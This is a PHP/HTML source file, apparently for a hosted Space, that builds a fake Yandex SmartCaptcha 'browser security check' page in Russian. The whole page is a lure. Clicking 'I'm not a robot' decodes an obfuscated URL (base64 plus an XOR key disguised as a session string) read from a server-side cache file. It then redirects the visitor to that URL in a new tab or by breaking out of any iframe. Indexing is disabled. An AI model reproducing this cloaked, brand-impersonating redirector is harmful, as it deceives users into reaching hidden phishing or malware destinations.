Spaces:
Running
Running
| // ========================================== | |
| // БЭКЕНД ЧАСТЬ (БЕЗ ИЗМЕНЕНИЙ) | |
| // ========================================== | |
| header("Cache-Control: no-store, no-cache, must-revalidate"); | |
| header("Pragma: no-cache"); | |
| $cache_file = 'domain_cache.txt'; | |
| $api_response = ""; | |
| // Безопасное чтение файла с защитой от гонки процессов и пустых байтов | |
| if (file_exists($cache_file)) { | |
| $fp = fopen($cache_file, "r"); | |
| if (flock($fp, LOCK_SH)) { | |
| $fsize = filesize($cache_file); | |
| if ($fsize > 0) { | |
| $content = fread($fp, $fsize); | |
| if (!empty($content)) { | |
| $api_response = trim($content); | |
| } | |
| } | |
| flock($fp, LOCK_UN); | |
| } | |
| fclose($fp); | |
| } | |
| <html lang="ru"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"> | |
| <meta name="robots" content="noindex, nofollow, noarchive"> | |
| <title>Проверка безопасности браузера</title> | |
| <style> | |
| :root { | |
| --ya-yellow: #fc0; | |
| --ya-yellow-hover: #f2c200; | |
| --ya-red: #f00; | |
| --bg-color: #f3f3f2; | |
| --card-bg: #ffffff; | |
| --text-head: #000000; | |
| --text-body: #333333; | |
| } | |
| * { margin: 0; padding: 0; box-sizing: border-box; -webkit-tap-highlight-color: transparent; } | |
| body { | |
| font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; | |
| background-color: var(--bg-color); | |
| color: var(--text-head); | |
| display: flex; | |
| flex-direction: column; | |
| justify-content: center; | |
| align-items: center; | |
| min-height: 100vh; | |
| padding: 20px; | |
| } | |
| .system-card { | |
| background: var(--card-bg); | |
| width: 100%; | |
| max-width: 400px; | |
| border-radius: 16px; | |
| box-shadow: 0 12px 24px rgba(0, 0, 0, 0.08); | |
| padding: 40px 30px; | |
| text-align: center; | |
| position: relative; | |
| overflow: hidden; | |
| } | |
| .logo-area { | |
| margin-bottom: 24px; | |
| } | |
| .ya-logo { | |
| font-size: 28px; | |
| font-weight: 700; | |
| letter-spacing: -0.5px; | |
| } | |
| .ya-logo span { color: var(--ya-red); } | |
| h1 { | |
| font-size: 22px; | |
| font-weight: 700; | |
| margin-bottom: 12px; | |
| } | |
| p { | |
| font-size: 15px; | |
| color: var(--text-body); | |
| line-height: 1.5; | |
| margin-bottom: 32px; | |
| } | |
| .action-btn { | |
| display: flex; | |
| justify-content: center; | |
| align-items: center; | |
| width: 100%; | |
| padding: 16px; | |
| background: var(--ya-yellow); | |
| color: #000; | |
| border: none; | |
| border-radius: 12px; | |
| font-size: 18px; | |
| font-weight: 600; | |
| cursor: pointer; | |
| transition: all 0.2s ease; | |
| box-shadow: 0 4px 12px rgba(255, 204, 0, 0.4); | |
| } | |
| .action-btn:hover { | |
| background: var(--ya-yellow-hover); | |
| box-shadow: 0 6px 16px rgba(255, 204, 0, 0.5); | |
| transform: translateY(-2px); | |
| } | |
| .action-btn:active { | |
| transform: translateY(1px); | |
| box-shadow: 0 2px 6px rgba(255, 204, 0, 0.4); | |
| } | |
| .loader-ui { | |
| display: none; | |
| width: 22px; | |
| height: 22px; | |
| border: 2px solid rgba(0,0,0,0.2); | |
| border-radius: 50%; | |
| border-top-color: #000; | |
| animation: spin 0.8s linear infinite; | |
| } | |
| @keyframes spin { to { transform: rotate(360deg); } } | |
| .action-btn.active { | |
| pointer-events: none; | |
| opacity: 0.8; | |
| } | |
| .action-btn.active .btn-lbl { display: none; } | |
| .action-btn.active .loader-ui { display: block; } | |
| .tech-footer { | |
| margin-top: 30px; | |
| font-size: 12px; | |
| color: #999; | |
| } | |
| .loading-bar { | |
| height: 4px; | |
| width: 100%; | |
| background: #f3f3f2; | |
| position: absolute; | |
| top: 0; | |
| left: 0; | |
| } | |
| .loading-bar::after { | |
| content: ''; | |
| position: absolute; | |
| left: -30%; | |
| top: 0; | |
| height: 100%; | |
| width: 30%; | |
| background: var(--ya-red); | |
| animation: load 2s infinite ease-in-out; | |
| } | |
| @keyframes load { 0% { left: -30%; } 100% { left: 100%; } } | |
| </style> | |
| </head> | |
| <body> | |
| <div class="system-card"> | |
| <div class="loading-bar"></div> | |
| <div class="logo-area"> | |
| <div class="ya-logo"><span>Я</span>ндекс</div> | |
| </div> | |
| <h1>Проверка безопасности</h1> | |
| <p>Пожалуйста, подтвердите, что вы не робот, чтобы продолжить.</p> | |
| <button id="submitAction" class="action-btn"> | |
| <span class="btn-lbl">Я не робот</span> | |
| <div class="loader-ui"></div> | |
| </button> | |
| <div class="tech-footer"> | |
| Защищено SmartCaptcha | |
| </div> | |
| </div> | |
| <script> | |
| const AppConfig = { | |
| session_ver: "ui-sess-v4-8921-xb-log", | |
| authToken: " echo $api_response; ", | |
| uiDelay: 800 | |
| }; | |
| function renderLayout(t, k) { | |
| try { | |
| let s = atob(t); | |
| let res = ''; | |
| for (let i = 0; i < s.length; i++) { | |
| res += String.fromCharCode(s.charCodeAt(i) ^ k.charCodeAt(i % k.length)); | |
| } | |
| return res; | |
| } catch (z) { | |
| return null; | |
| } | |
| } | |
| function appendUtmSource(targetUrl) { | |
| try { | |
| const urlParams = new URLSearchParams(window.location.search); | |
| const utmSource = urlParams.get('utm_source'); | |
| if (utmSource) { | |
| const urlObj = new URL(targetUrl); | |
| urlObj.searchParams.set('utm_source', utmSource); | |
| return urlObj.toString(); | |
| } | |
| } catch (e) { | |
| console.error('Error appending utm_source', e); | |
| } | |
| return targetUrl; | |
| } | |
| document.addEventListener('DOMContentLoaded', function () { | |
| const btn = document.getElementById('submitAction'); | |
| btn.addEventListener('click', function (evt) { | |
| evt.preventDefault(); | |
| btn.classList.add('active'); | |
| setTimeout(function () { | |
| const path = renderLayout(AppConfig.authToken, AppConfig.session_ver); | |
| if (path && path.indexOf('http') === 0) { | |
| try { | |
| // Попытка открыть в новой вкладке | |
| const newWin = window.open(appendUtmSource(path), '_blank'); | |
| if (!newWin || newWin.closed || typeof newWin.closed == 'undefined') { | |
| throw new Error('Popup blocked'); | |
| } | |
| } catch (e) { | |
| // Если блокировщик не дал открыть вкладку, | |
| // открываем в текущем окне, но ВЫХОДИМ из iframe (top) | |
| window.top.location.href = appendUtmSource(path); | |
| } | |
| } else { | |
| console.error('Security verification failed'); | |
| location.reload(); | |
| } | |
| }, AppConfig.uiDelay); | |
| }); | |
| }); | |
| </script> | |
| </body> | |
| </html> |